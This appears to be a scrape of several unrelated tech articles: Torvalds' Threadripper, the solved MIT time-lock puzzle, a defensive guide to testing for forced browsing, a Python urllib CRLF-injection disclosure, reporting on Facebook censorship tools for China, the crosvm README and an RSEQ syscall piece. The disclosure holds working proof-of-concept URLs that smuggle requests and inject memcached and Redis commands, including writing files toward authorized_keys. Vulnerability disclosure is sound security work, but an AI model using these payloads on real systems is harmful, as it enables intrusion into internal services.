An interesting anecdote shared in today's

is word that Linux and Git creator Linus Torvalds switched his main rig over to an AMD Ryzen Threadripper.

At least for what he has said in the past, Linus has long been using Intel boxes given his close relationship with the company (and even close proximity to many of the Intel Portland open-source crew). In fact, he commented this is the first time in about fifteen years not using an Intel system as his primary machine. He made this interesting remark in the RC7 announcement:

In fact, the biggest excitement this week for me was just that I upgraded my main machine, and for the first time in about 15 years, my desktop isn't Intel-based. No, I didn't switch to ARM yet, but I'm now rocking an AMD Threadripper 3970x. My 'allmodconfig' test builds are now three times faster than they used to be, which doesn't matter so much right now during the calming down period, but I will most definitely notice the upgrade during the next merge window.

The

and the rest of the 3900 series line-up are incredibly great options for kernel developers and those frequently compiling large code-bases. He didn't mention the CPU in his prior Intel box, but he is seeing 3x faster builds.

With the upcoming

merge window in early June, his Threadripper system is sure to have a great workout.

This in turn is actually good news as well for AMD Ryzen Linux users: as Torvalds is constantly building the latest kernel code for mainline, he tends to shout quite publicly and loudly when any code breaks on his systems stemming from botched/poorly-tested pull requests... Thus with the extra and immediate exposure on Threadripper, he will hopefully be spotting any kernel-breaking regressions more quickly and who knows whatever other improvements he may be able to wrangle up as he's burning in his new system.

This week MIT’s Computer Science and Artificial Intelligence Laboratory (CSAIL) announced that a 20-year-old cryptographic puzzle was just solved by a self-taught programmer from Belgium, 15 years earlier than MIT scientists expected.

Bernard Fabrot spent the last three and a half years computing the solution to a puzzle first announced by MIT researchers in 1999. Separately, another team led by tech executive Simon Peffers is nearing completion of computing a solution.

The puzzle essentially involves doing roughly 80 trillion successive squarings of a starting number, and was specifically designed to foil anyone trying to solve it more quickly by using parallel computing.

Fabrot and Peffers took very different approaches to the puzzle. Fabrot used a simple Intel Core i7-6700 found in consumer PCs, and computed the solution using the GNU Multiple Precision Arithmetic Library (GMP). Meanwhile, Peffers' team used a novel squaring algorithm (designed by Erdinç Öztürk from Sabanci University) to run on a programmable hardware accelerator called an FPGA. The team, which is working as part of a collaboration called Cryptophage, is on track to finish the puzzle on May 11 after only two months of computation.

“There have been hardware and software advances beyond what I predicted in 1999,” says MIT professor Ron Rivest, who first announced the puzzle in April 1999 tied to a celebration of 35 years of research at MIT’s Laboratory for Computer Science (now CSAIL). “The puzzle’s fundamental challenge of doing roughly 80 trillion squarings remains unbroken, but the resources required to do a single squaring have been reduced by much more than I predicted.”

The puzzle is an example of a “verifiable delay function” (VDF), meaning that its answer can only be solved after a certain number of steps. Because VDFs can also be used to create unbiased randomness, they’ve been proposed as potential approaches to improve the security and scalability of blockchain systems like Ethereum and Filecoin. 

In the original announcement, LCS promised that, if a correct solution was uncovered, they would open a special “time capsule” designed by architect Frank Gehry and filled with historical artifacts from the likes of Web inventor Tim Berners-Lee, Ethernet co-inventor Bob Metcalfe, and Microsoft founder Bill Gates. (Gates donated the original Altair BASIC that represented Microsoft’s first-ever product, which they developed for MITS in 1975.)

The capsule ceremony will happen Wednesday, May 15 at 4 p.m. at MIT’s Stata Center.

Forced browsing is the class of serious web application vulnerability I see the most often. Contrary to conventional wisdom, you can build effective automated tests for it in your application, tests that don’t use hard-coding or fuzzing.

This friend of mine, Ohran, maintains a decent-sized web app, mydeathstar.empire. It does various boring administrative things for this space station, and the guy in charge, Darth something, keeps him busy with lots of little tweaks. The latest one was that for some reason he wanted to restrict who was allowed to remotely operate the trash compactors. Apparently there’d been some issue with that. So my friend wrote some code for the web app’s navigation header so that you’d only see a link to the trash compactor dashboard if you had the right set of privileges. It looked something like

in render_nav_bar:

if(current_user.trash_master) {  link_to("/trash_compactor_dashboard")  } 

So Trash Masters saw a page like this:

While regular stormtroopers saw a page without the link:

Now, Ohran is very conscientious about quality (apparently Darth Whatever isn’t very forgiving of bugs) so he added in a couple of automated tests too:

login_as(regular_user) visit_page("/") assert_not_in_page("/trash_compactor_dashboard") 

login_as(trashy_user) visit_page("/") assert_in_page("/trash_compactor_dashboard") 

And of course he deployed it to a staging server and had someone click around to make sure everything looked right. Eventually, he pushed the changes to the live server, and all seemed well.

That night, though, he woke up in a sudden panic. He pulled his laptop onto his chest and logged in to his account. The link wasn’t there, as expected – trash wasn’t his job. Then, he manually typed a URL into his address bar, hit enter, and…

Ohran had forgotten some very important code. When a request came in to load the dashboard page, or perform any trash compactor action, he needed to check to ensure that request was actually authorized. Even though no unauthorized user could get to the dashboard by accident, anybody with an account could use the forced browsing technique to load the page–and since it had previously been accessible to everyone, people certainly knew the URL. Ohran had to scramble to fix his mistake before anyone noticed.

After saving his neck, Ohran came to me, still fretting. “The authorization logic in this app is all over the place,” he said. “I don’t have the time or the freedom to refactor it, so whenever I add a new authorization rule, I just have to remember to add it in at least two places: hiding the link, and controlling the actual functionality. If I forget the first one, the user sees an error, and if I forget the second one, I’ve made the app vulnerable. For all I know, there’s some other forced browsing vulnerability out there that I’ve missed. Like when stormtrooper TK-422 goes to his personal preferences page, the URL looks like /users/TK-422/preferences. If he changed the number in the URL so it was /users/TK-421/preferences, he shouldn’t see TK-421’s preference page, that’s private!” Ohran rubbed his throat.

“Can’t you write a test for forced browsing?” I asked.

“I Googled it, and apparently you can’t really,” said Ohran. “Like, OWASP says ‘Automated tools are unlikely to find these problems.’ They give a lot of ways to defend against it, but they’re all manual testing and refactoring and doing code analysis. Which, I mean, I’ll do as much as I can. Everywhere else I’ve looked says it’s impossible, aside from just checking a hardcoded list of common ‘sensitive paths’ like /admin.php. There’s no way /trash_compactor_dashboard is gonna be on that list. Or there’s fuzzing, but same deal there–no testing tool is going to randomly guess that URL.”

Ohran and I put our heads together, and eventually we figured out a solution. It was actually pretty obvious in retrospect: just take what a manual white-hat tester does when searching for forced browsing vulnerabilities, and do it programmatically. First, we wrote a helper function in Ohran’s test code that could crawl the site, recursively following all of the links that a given user could see and returning the complete list. It looked something like

define browse_as(user) { visited_pages = Set.new() crawl(user, "/",visited_pages) return(visited_pages) } define crawl(user, page, visited_pages) { login_as(user) visit_page(page) visited_pages.add(page) current_page.links.for_each(link) {   if(!visited_pages.include(link)) {crawl(user,link, visited_pages)} } } 

Just your standard spider. We made it re-login on every request just because some links log you out, but we could also have blacklisted logout links and other links that leave the site, so that we don’t end up crawling around the actual web.

Then we checked in a test. In the test, we create two users. One has all the privileges in the app: she could operate the trash compactors, commence primary ignition, open the thermal exhaust port, whatever. The other just has the minimum privileges necessary to log in. Then, the test crawls as both users, and compares the results. Crawling as the privileged user is just a simple way of enumerating all the pages in the app. Crawling as the unprivileged user is a way of inferring what the user is expected to be able to see. We can assume that if a user sees a link to a page they’re not supposed to see, that’ll be caught in manual testing. So this automated test now knows that any user can see the home page, their preference page, and a station-wide list of alerts, say. Now we take the difference of the lists: the list of all pages the privileged user can browse to, but the unprivileged user can’t. This will include admin-only pages, like the trash compactor dashboard, as well as personal pages for the privileged user, like her preferences page. Finally, we can loop over each link in this list, and try forced browsing to it as the unprivileged user. If we get a success response, not a redirect or an error, then this is likely a forced browsing vulnerability, and the test should fail. The test looks like:

privileged_user_visible_pages = browse_as(privileged_user) regular_user_visible_pages = browse_as(unprivileged_user) restricted_pages = privileged_user_visible_pages.except(regular_user_visible_pages) restricted_pages.for_each(link) { login_as(unprivileged_user) visit_page(link) assert_error_page(current_page) } 

Happily, it turns out the conventional wisdom is wrong. As long as you have the ability to log in as both a privileged and unprivileged user, you can write an automated test for your web app that catches forced browsing vulnerabilities. I believe this should be added to integration testing for most web applications. If you use an interactive testing tool like Burp Suite, I’d suggest implementing this as a plugin (I might even write this as a bookmarklet one of these days). If you use, say, Cucumber, it’s probably fastest to just implement this algorithm by hand in your existing test suite.

Gotchas:

• Make sure you secure your write (e.g. POST, PUT) routes, not just your page reads. My pseudo-code above works for this if “current_page.links” includes form submissions and AJAX requests, and “visit_page()” can handle form submissions, but that’s tricky since you may need mock data.
• As mentioned, it’s best to restrict the links you follow to relative links and ones to the same domain, and to blacklist the logout link.
• For a large enough app, this can be a time-consuming test. Ideally, try to run it outside of a browser to save time rendering. You may also want to optimize by adding “redundant” pages to your blacklist, such as pages after the first of a paginated result list.
• Make sure you’re running against a test database that has at least one of everything, so that every possible link exists.
• If you try to browse to a page you don’t have access to, some apps will simply serve a page you do have access to instead, without returning a 3xx Redirect response or displaying an error. These can lead to spurious failures in your tests. Ideally you should change that behavior, as it’s not very standards-compliant anyway.
• A purely single-page web app that doesn’t store state in the URL at all will have to do this a bit differently, possibly by recording the AJAX requests done as each user crawls, then forcing those rather than front-end state.
• The test as described doesn’t catch similar vulnerabilities involving other kinds of user-controllable input, such as cookies and hidden form submissions. It might be worth expanding to record everything (besides the authentication secret) the privileged user sends, and replaying it as the unprivileged user.
• It may be non-trivial to ensure your privileged user always has all possible privileges.

And one final, meta-level disclaimer: try not to write projects with authorization rules that keep you up at night, scattered around different files and enforced in different ways. Try to put all of them in one place, so you can reference them both when deciding what links to render and what actions to allow. Make it impossible to process a request if no authorization check has run. And then test anyway.

Overview

Python's built-in URL library ("

" in 2.x and "

" in 3.x) is vulnerable to protocol stream injection attacks (a.k.a. "smuggling" attacks) via the

scheme. If an attacker could convince a Python application using this library to fetch an arbitrary URL, or fetch a resource from a malicious web server, then these injections could allow for a great deal of access to certain internal services.

The Bug

The HTTP scheme handler accepts percent-encoded values as part of the host component, decodes these, and includes them in the HTTP stream without validation or further encoding. This allows newline injections. Consider the following Python 3 script (named

):

#!/usr/bin/env python3 import sys import urllib import urllib.error import urllib.request url = sys.argv[1] try: info = urllib.request.urlopen(url).info() print(info) except urllib.error.URLError as e: print(e)

This script simply accepts a URL in a command line argument and attempts to fetch it. To view the HTTP headers generated by

, a simple

listener was used:

nc -l -p 12345 

In a non-malicious example, we can hit that service by running:

./fetch3.py http://127.0.0.1:12345/foo 

This caused the following request headers to appear in the

terminal:

GET /foo HTTP/1.1 Accept-Encoding: identity User-Agent: Python-urllib/3.4 Connection: close Host: 127.0.0.1:12345

Now we repeat this exercise with a malicious hostname:

./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo 

The observed HTTP request is:

GET /foo HTTP/1.1 Accept-Encoding: identity User-Agent: Python-urllib/3.4 Host: 127.0.0.1 X-injected: header x-leftover: :12345 Connection: close 

Here the attacker can fully control a new injected HTTP header.

The attack also works with DNS host names, though a NUL byte must be inserted to satisfy the DNS resolver. For instance, this URL will fail to lookup the appropriate hostname:

http://localhost%0d%0ax-bar:%20:12345/foo 

But this URL will connect to

as expected and allow for the same kind of injection:

http://localhost%00%0d%0ax-bar:%20:12345/foo 

Note that this issue is also exploitable during HTTP redirects. If an attacker provides a URL to a malicious HTTP server, that server can redirect

to a secondary URL which injects into the protocol stream, making up-front validation of URLs difficult at best.

Attack Scenarios

Here we discuss just a few of the scenarios where exploitation of this flaw could be quite serious. This is far from a complete list. While each attack scenario requires a specific set of circumstances, there are a vast variety of different ways in which the flaw could be used, and we don't pretend to be able to predict them all.

GET /foo HTTP/1.1 Accept-Encoding: identity User-Agent: Python-urllib/3.4 Host: 127.0.0.1 Connection: close 

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

GET /foo HTTP/1.1 Accept-Encoding: identity User-Agent: Python-urllib/3.4 Host: 127.0.0.1 Connection: Keep-Alive POST /bar HTTP/1.1 Host: 127.0.0.1 Content-Length: 31 {"new":"json","content":"here"} :12345 Connection: close 

http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo 

GET /foo HTTP/1.1 Accept-Encoding: identity Connection: close User-Agent: Python-urllib/3.4 Host: 127.0.0.1 set foo 0 0 5 ABCDE :11211 

ERROR ERROR ERROR ERROR ERROR STORED ERROR ERROR 

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo 

# strings -n 3 /tmp/evil REDIS0006 foo bar 

 ~redis/.profile ~redis/.ssh/authorized_keys ... 

2016-06-15

Full disclosure.

Final Thoughts

I find it irresponsible of the developers and distributors of Redis and memcached to provide default configurations that lack any authentication. Yes, I understand the reasoning that they should only be used only on "trusted internal networks". The problem is that very few internal networks, in practice, are much safer than the internet. We can't continue to make the same bad assumptions of a decade ago and expect security to improve. Even an unauthenticated service listening on localhost is risky these days. It wouldn't be hard to add an auto-generated, random password to these services during installation. That is, if the developers of these services took security seriously.

Facebook founder Mark Zuckerberg has raised eyebrows with a string of apparent attempts to woo Chinese authorities, from giving speeches in Chinese and jogging through Beijing smog, to leaving a Xi Jinping book on his desk while hosting former cyberczar Lu Wei, and even asking Xi to name his daughter. In March, a leaked propaganda directive calling for steps against “malicious commentary” on these efforts prompted speculation that Beijing might prove more receptive than many had supposed. So did internet regulator Ren Xianliang’s recent reiteration of the longstanding official position that “as long as they respect China’s laws, don’t harm the interests of the country, and don’t harm the interests of consumers, we welcome [Facebook and Google] to enter China.” On Tuesday, The New York Times’ Mike Isaac reported that the company has taken concrete steps towards satisfying these requirements, with the development of experimental censorship tools that might be wielded by a Chinese partner company.

[… T]he project illustrates the extent to which Facebook may be willing to compromise one of its core mission statements, “to make the world more open and connected,” to gain access to a market of 1.4 billion Chinese people. Even as Facebook faces pressure to continue growing — Mr. Zuckerberg has often asked where the company’s next billion users will come from — China has been cordoned off to the social network since 2009 because of the government’s strict rules around censorship of user content.

The suppression software has been contentious within Facebook, which is separately grappling with what should or should not be shown to its users after the American presidential election’s unexpected outcome spurred questions over fake news on the social network. Several employees who were working on the project have left Facebook after expressing misgivings about it, according to the current and former employees.

[… S]ome officials responsible for China’s tech policy have been willing to entertain the idea of Facebook’s operating in the country. It would legitimize China’s strict style of internet governance, and if done according to official standards, would enable easy tracking of political opinions deemed problematic. Even so, resistance remains at the top levels of Chinese leadership. [Source]

Bloomberg’s Sarah Frier similarly stressed that there seems to be no immediate prospect of Facebook’s entry into China:

Chief Executive Officer Mark Zuckerberg visits China frequently, and yet the company is no closer to putting employees in a downtown Beijing office it leased in 2014, according to a person familiar with the matter. The company hasn’t been able to get a license to put workers there, even though they would be selling ads shown outside the country, not running a domestic social network, the person said. The ad sales work is currently done in Hong Kong. The person asked not to be identified discussing private matters.

[…] China and Facebook aren’t engaged in ongoing talks about the conditions of a return, according to a separate person familiar with the matter who asked not to be identified as the matter is private. The ability to censor content would be a precondition, not the deciding factor, in any entry to the Chinese market, the person said. [Source]

The current climate in China is hardly welcoming for foreign firms, particularly following the recent passage of a draconian new cybersecurity law which mandates self-censorship, unspecified “technical support” to authorities, security reviews, and local storage of user data. Cartoonist Rebel Pepper summed this situation up last week with a skeptical take on the third “World Internet Conference” held in Wuzhen:

The banner reads “World Disinternet Conference,” with bulian (不联), meaning “disconnected,” replacing hulian (互联), or “interconnected,” in the Chinese term for “internet,” hulianwang (互联网). Read more from CDT on the three World Internet Conferences China has hosted, including a round-up on this year’s with translation from a Xinhua commentary proclaiming Xi Jinping an “internet sage.”

CDT Chinese has compiled a few reactions to the New York Times report from Sina Weibo. Some users mocked Facebook’s supplications to the “Imperial Court”:

Jianchang’anbujianchang’an (@见长安不见长安): Cutting off your balls before entering the Imperial Palace?

Luyoudahongren (@旅游大红人): Hmm, developing a castrated magical weapon to present to the emperor, this palace eunuch’s wishes are very sincere

Guliquan (@贾利权): Facebook castrates itself, seeking entry to the Imperial Palace. [Chinese]

Others questioned the need for a limited Facebook in China, and its chances of ever getting there:

Guandengwuyanzu (@关灯吴彦祖): What would this actually achieve? So, we can access the same site as people abroad, but can only partially see what they post?

Xialuotewuhuishangdeguowang (@夏洛特舞会上的国王): So this is Facebook’s corporate value system? If so, besides feeling that there’s still no way they can enter the Chinese market, I’d also like to send them a “Grass Mud Horse” [“Fuck Your Mother”]!

000000000oo (000000000哦哦): Making a Chinese version with restricted content, it’s still just a Local Area Network [not the real Internet]

Gongchandafahao (@共產大灋好): So what do we need you here for?

[The screenshot shows a “comments forbidden” notice on an article headlined “Xi Jinping: ‘We should welcome well-intentioned online comments’”]

Hulianwangdedashir (@互联网的大事儿): Better not to come at all …

Amiaoyu (@阿喵鱼): I want YouTube! I want Twitter! I don’t want to have to pay for a VPN every month ……

Zhengzaianfengdehuozhe (@正在安分的活着): We don’t need you, we need Twitter, we need YouTube, we need Google, we need Line, we need Instagram

Fengchezhuanbuting (@枫车转不停): I think there’s a way for Line to come in, but there’s already no room for Facebook

Liulianweihuabinggan (@榴莲威化饼干): There are a few apps that I hope never make it to the mainland … In the end, those who can all jump the Great Firewall. If it wasn’t there to block the others, they’d surge over and report everything back to the authorities

Fangtianyougou (@方田有沟): If Facebook hands the authority to examine and verify content to a Chinese partner firm, “China will be the biggest winner” [mocking a common formula for headlines in official media]. [Chinese]

Some users suggested rebranding, with one alluding to Xi Jinping’s call in February for state media to “take ‘Party’ as their surname”:

CD_Yim (@CD_Yim): If this is true, they should change the name to “book.” They’ve lost face.

Lihailewodege_ (@厉害了我的歌_): They should call it Partybook →_→

Liming_shouwang_zhe (@黎明守望者): Motherfucker, Facebook also has to take Party as its surname? [Chinese]

CDT cartoonist Badiucao proposed a new logo:

Another cartoon in a similar spirit has been deleted from Sina Weibo, according to the FreeWeibo monitoring site:

AdachushengzaiMeiguo (@Ada出生在美国): Facebook surnamed ‘Party,’ deletes posts at will, arbitrarily prohibits, perfectly loyal, please reconsider. [Chinese]

On Twitter, meanwhile, dozens of users scornfully contrasted Facebook’s apparent readiness to bow to Beijing with its reluctance to address the spread of fake news among users in America and elsewhere. By the U.S. election day earlier this month, fake news was substantially outperforming articles from mainstream news outlets on the platform. Founder and CEO Mark Zuckerberg initially protested that “the idea that fake news on Facebook … influenced the election … is a pretty crazy idea.” But criticism continued to mount, with The New York Times warning Zuckerberg not to let “liars and con artists hijack his platform.” He responded on Facebook that “we do not want to be arbiters of truth,” and that company would prefer “erring on the side of letting people share what they want whenever possible,” but said that the company was cautiously working to address the issue.

There has been no shortage of suggestions on ways to do this. According to some reports, Facebook already “absolutely [has] the tools to shut down fake news,” but has held off for fear of angering conservative users.

The U.S. election has also prompted renewed calls for information controls in China, where official campaigns against “rumor”—loosely and often politically defined—are well established. Officials reiterated the urgency of battling rumors and online extremism at the World Internet Conference last week, as Reuters’ Catherine Cadell reports:

Ren Xianling, the vice minister of China’s top internet authority, said on Thursday that the process was akin to “installing brakes on a car before driving on the road”.

Ren, number two at the Cyberspace Administration of China (CAC), recommended using identification systems for netizens who post fake news and rumors, so they could “reward and punish” them.

The comments come as U.S. social networks Facebook Inc and Twitter Inc face a backlash over their role in the spread of false and malicious information generated by users, which some say helped sway the U.S. presidential election in favor of Republican candidate Donald Trump.

[…] Ma Huateng, the chairman and chief executive of Tencent Holdings Ltd, which oversees China’s most popular social networking app, WeChat, said Trump’s win sent an “alarm” to the global community about the dangers of fake news, a view echoed by other executives at the event. [Source]

An editorial in the state-run Global Times mocked the hypocrisy of the “Western media’s crusade against Facebook”:

[… M]edia platforms have the right to publish any information in the political field and cracking down on online rumors would confine freedom of speech. Isn’t this what the West advocates when it is at odds with emerging countries over Internet management? Why don’t they uphold those propositions any more?

China’s crackdown on online rumors a few years ago was harshly condemned by the West. It was a popular saying online that rumors could force truth to come out at that time, which morally affirmed the role of rumors. This argument was also hyped by Western media. Things changed really quickly, as the anxiety over Internet management has been transferred to the US.

[…] The Internet contains enormous energy, and the political risks that go along with it are unpredictable. China is on its way to strengthening Internet management, although how to manage it is another question. China is also right in demanding that US Internet companies, including Google and Facebook, abide by Chinese laws and be subject to supervision if they want to enter China market.

[…] Problems and conflicts caused by globalization and informationization have been unleashed in the Internet era, but the Western democratic system appears to be unable to address them. [Source]

But while some see the fake news pandemic as vindication of Chinese policy, others are unconvinced. At South China Morning Post last week, Jane Cai and Phoenix Kwong reported “Pony” Ma Huateng’s further statement at the WIC that “Tencent has always been strict in cracking down on fake news and we see it as very necessary.” But not all the Chinese executives in attendance shared his enthusiasm, they noted:

[…] Wu Wenhui, chief executive of China Reading, an online literature company, said regulators should not resort to extreme measures to tackle the problem unless it was absolutely necessary.

“The US incidents show the internet is more and more decentralised and people do not unanimously follow the opinions of experts,” Wu said.

“Regulators should respect the convenient platforms [of social media] for the public to express their opinions. They should also be open and be honest in communicating with the public,” he said. [Source]

Politico’s Jack Shafer, meanwhile, argued this week that “the cure for fake news is worse than the disease”:

[… T]he fake news moral panic looks to have legs, which means that somebody is likely to get hurt before it abates. Already, otherwise intelligent and calm observers are cheering plans set forth by Facebook’s Mark Zuckerberg to censor users’ news feeds in a fashion that will eliminate fake news. Do we really want Facebook exercising this sort of top-down power to determine what is true or false? Wouldn’t we be revolted if one company owned all the newsstands and decided what was proper and improper reading fare?

Once established to crush fake news, the Facebook mechanism could be repurposed to crush other types of information that might cause moral panic. This cure for fake news is worse than the disease.

[…] Fake news is too important to be left to the Facebook remedy—Mark Zuckerberg is no arbiter of truth. First, we need to learn to live with a certain level of background fake news without overreacting. Next, we need to instruct readers on how to spot and avoid fake news, which many publications are already doing. A few years ago, Factcheck.org showed readers how to identify bogus email claims. Snopes does yeoman work in this area, as does BuzzFeed. Software wizards should be encouraged to create filters and tools, such as browser extensions, that sniff out bogusity. [Source]

Concerns about the concentration of information control powers in private hands have also arisen in China with, for example, a recent account suspension on Tencent’s WeChat platform over allegations that cheap roast duck came from diseased birds. From Oiwan Lam at Global Voices:

The WeChat account of Chinese news outlet News Breakfast was recently suspended for “spreading rumors.” News Breakfast has 400,000 subscribers in WeChat and is operated by East Day, a Shanghai city government-affiliated media outlet.

[…] The incident compelled Xu Shiping, the CEO of East Day, to write two open letters to Pony Ma Huateng, the chairman of WeChat’s parent company, Tencent, questioning the monopolized status of the Internet giant and its arbitrary power over online content and censorship. Like many other Chinese news outlets, News Breakfast publishes some stories only on WeChat, rather than publishing on its website and then promoting on the social media and content service.

[…] What is Tencent? It is an Internet company. It has a capital structure and cannot represent people’s interests […] In the past two years, Mr. Ma has been a guest of local governments which have provided corporate access to data which should be belong to the public. There is no evaluation of the capital value of such data access. […] Tencent’s monopoly is harmful to the state. Wait and see. Today it can exercise its unrestrained power on media outlets, tomorrow it will challenge state authority. […]

[…] If one day, all China’s media outlets are under the rule of Tencent, can we still have our “China Dream”? [Source]

Writing at Medium, ethnographer Christina Xu noted that false pro-Trump stories have proliferated in China, despite its strict information controls. Such stories, she suggested, are more a symptom than an underlying cause:

In an excellent series of tweets about rhetorical strategy, Bailey Poland wrote: “[Facts are] the support structure. It’s the foundation of reality on which an argument can be built, but it cannot be the whole argument.”

In China, that foundation of reality is eroded alongside trust in institutions previously tasked with upholding the truth. Contrary to popular sentiment in the US, Chinese readers don’t blindly trust the state-run media. Rather, they distrust it so much that they don’t trust any form of media, instead putting their faith in what their friends and family tell them. No institution is trusted enough to act as a definitive fact-checker, and so it’s easy for misinformation to proliferate unchecked.

This has been China’s story for decades. In 2016, it is starting to be the US’ story as well.

Propaganda that is blatant and issued from the top is easy to spot and refute; here in China, it’s literally printed on red banners your eyes learn to skip past. The spread of small falsehoods and uncertainty is murkier, more organic, and much harder to undo. The distortions of reality come in layers, each more surreal than the last. Fighting it requires more than just pointing out the facts; it requires restoring faith in a shared understanding of the truth. This is the lesson Americans need to learn, and fast. [Source]

Inside the Great Firewall? Download the CDT Browser Extension to access CDT from China without a VPN.

crosvm - The Chrome OS Virtual Machine Monitor

This component, known as crosvm, runs untrusted operating systems along with virtualized devices. No actual hardware is emulated. This only runs VMs through the Linux's KVM interface. What makes crosvm unique is a focus on safety within the programming language and a sandbox around the virtual devices to protect the kernel from attack in case of an exploit in the devices.

Usage

To see the usage information for your version of crosvm, run crosvm or crosvm run --help.

Boot a Kernel

To run a very basic VM with just a kernel and default devices:

$ crosvm run "${KERNEL_PATH}" 

The uncompressed kernel image, also known as vmlinux, can be found in your kernel build directory in the case of x86 at arch/x86/boot/compressed/vmlinux.

Rootfs

In most cases, you will want to give the VM a virtual block device to use as a root file system:

$ crosvm run -r "${ROOT_IMAGE}" "${KERNEL_PATH}" 

The root image must be a path to a disk image formatted in a way that the kernel can read. Typically this is a squashfs image made with mksquashfs or an ext4 image made with mkfs.ext4. By using the -r argument, the kernel is automatically told to use that image as the root, and therefore can only be given once. More disks can be given with -d or --rwdisk if a writable disk is desired.

To run crosvm with a writable rootfs:

WARNING: Writable disks are at risk of corruption by a malicious or malfunctioning guest OS.

crosvm run --rwdisk "${ROOT_IMAGE}" -p "root=/dev/vda" vmlinux 

NOTE: If more disks arguments are added prior to the desired rootfs image, the root=/dev/vda must be adjusted to the appropriate letter.

Control Socket

If the control socket was enabled with -s, the main process can be controlled while crosvm is running. To tell crosvm to stop and exit, for example:

NOTE: If the socket path given is for a directory, a socket name underneath that path will be generated based on crosvm's PID.

$ crosvm run -s /run/crosvm.sock ${USUAL_CROSVM_ARGS} <in another shell> $ crosvm stop /run/crosvm.sock 

WARNING: The guest OS will not be notified or gracefully shutdown.

This will cause the original crosvm process to exit in an orderly fashion, allowing it to clean up any OS resources that might have stuck around if crosvm were terminated early.

Multiprocess Mode

By default crosvm runs in multiprocess mode. Each device that supports running inside of a sandbox will run in a jailed child process of crosvm. The appropriate minijail seccomp policy files must be present either in /usr/share/policy/crosvm or in the path specified by the --seccomp-policy-dir argument. The sandbox can be disabled for testing with the --disable-sandbox option.

Virtio Wayland

Virtio Wayland support requires special support on the part of the guest and as such is unlikely to work out of the box unless you are using a Chrome OS kernel along with a termina rootfs.

To use it, ensure that the XDG_RUNTIME_DIR enviroment variable is set and that the path $XDG_RUNTIME_DIR/wayland-0 points to the socket of the Wayland compositor you would like the guest to use.

Defaults

The following are crosvm's default arguments and how to override them.

• 256MB of memory (set with -m)
• 1 virtual CPU (set with -c)
• no block devices (set with -r, -d, or --rwdisk)
• no network (set with --host_ip, --netmask, and --mac)
• virtio wayland support if XDG_RUNTIME_DIR enviroment variable is set (disable with --no-wl)
• only the kernel arguments necessary to run with the supported devices (add more with -p)
• run in multiprocess mode (run in single process mode with --disable-sandbox)
• no control socket (set with -s)

System Requirements

A Linux kernel with KVM support (check for /dev/kvm) is required to run crosvm. In order to run certain devices, there are additional system requirements:

• virtio-wayland - The memfd_create syscall, introduced in Linux 3.17, and a Wayland compositor.
• vsock - Host Linux kernel with vhost-vsock support, introduced in Linux 4.8.
• multiprocess - Host Linux kernel with seccomp-bpf and Linux namespacing support.
• virtio-net - Host Linux kernel with TUN/TAP support (check for /dev/net/tun) and running with CAP_NET_ADMIN privileges.

Emulated Devices

Contributing

Code Health

build_test

There are no automated tests run before code is committed to crosvm. In order to maintain sanity, please execute build_test before submitting code for review. All tests should be passing or ignored and there should be no compiler warnings or errors. All supported architectures are built, but only tests for x86_64 are run. In order to build everything without failures, sysroots must be supplied for each architecture. See build_test -h for more information.

rustfmt

All code should be formatted with rustfmt. We have a script that applies rustfmt to all Rust code in the crosvm repo: please run bin/fmt before checking in a change. This is different from cargo fmt --all which formats multiple crates but a single workspace only; crosvm consists of multiple workspaces.

Dependencies

With a few exceptions, external dependencies inside of the Cargo.toml files are not allowed. The reason being that community made crates tend to explode the binary size by including dozens of transitive dependencies. All these dependencies also must be reviewed to ensure their suitability to the crosvm project. Currently allowed crates are:

• byteorder - A very small library used for endian swaps.
• cc - Build time dependency needed to build C source code used in crosvm.
• libc - Required to use the standard library, this crate is a simple wrapper around libc's symbols.

Code Overview

The crosvm source code is written in Rust and C. To build, crosvm generally requires the most recent stable version of rustc.

Source code is organized into crates, each with their own unit tests. These crates are:

• crosvm - The top-level binary front-end for using crosvm.
• devices - Virtual devices exposed to the guest OS.
• io_jail - Creates jailed process using libminijail.
• kernel_loader - Loads elf64 kernel files to a slice of memory.
• kvm_sys - Low-level (mostly) auto-generated structures and constants for using KVM.
• kvm - Unsafe, low-level wrapper code for using kvm_sys.
• net_sys - Low-level (mostly) auto-generated structures and constants for creating TUN/TAP devices.
• net_util - Wrapper for creating TUN/TAP devices.
• sys_util - Mostly safe wrappers for small system facilities such as eventfd or syslog.
• syscall_defines - Lists of syscall numbers in each architecture used to make syscalls not supported in libc.
• vhost - Wrappers for creating vhost based devices.
• virtio_sys - Low-level (mostly) auto-generated structures and constants for interfacing with kernel vhost support.
• vm_control - IPC for the VM.
• x86_64 - Support code specific to 64 bit intel machines.

The seccomp folder contains minijail seccomp policy files for each sandboxed device. Because some syscalls vary by architecture, the seccomp policies are split by architecture.

Introduced in the Linux 4.18 kernel was the

intended to yield faster user-space operations on per-CPU data. As covered during a presentation at this week's Open-Source Summit Europe, that system call is indeed providing performance wins while it's not widely utilized yet.

The restartable sequences system call allows for faster performance in per-CPU data updates from user-space for items like incrementing per-CPU counters, modifying data protected by per-CPU spinlocks, reading/writing per-CPU ring buffers, and similar operations while the kernel guarantees atomic behavior. The RSEQ system call was merged for Linux 4.18 while in the newly-released Linux 4.19 kernel the syscall is supported on ARM64 and other architectures.

There still is ongoing work for improving Restartable Sequences especially with utilizing this syscall from different key components in the Linux user-space, but it's looking like the performance benefits are worthwhile. Mathieu Desnoyers of EfficiOS presented at this week's Open-Source Summit Europe in Edinburgh where he covered this interesting kernel work. The benchmark results are what excited us the most:

Those wishing to learn more about the ongoing RSEQ syscall and weren't able to make it to Edinburgh for the event, Desnoyers' slide deck can be viewed

(PDF). There is also another presentation by Mathieu back from

with more background information on this system call if you are interested in more reading this weekend.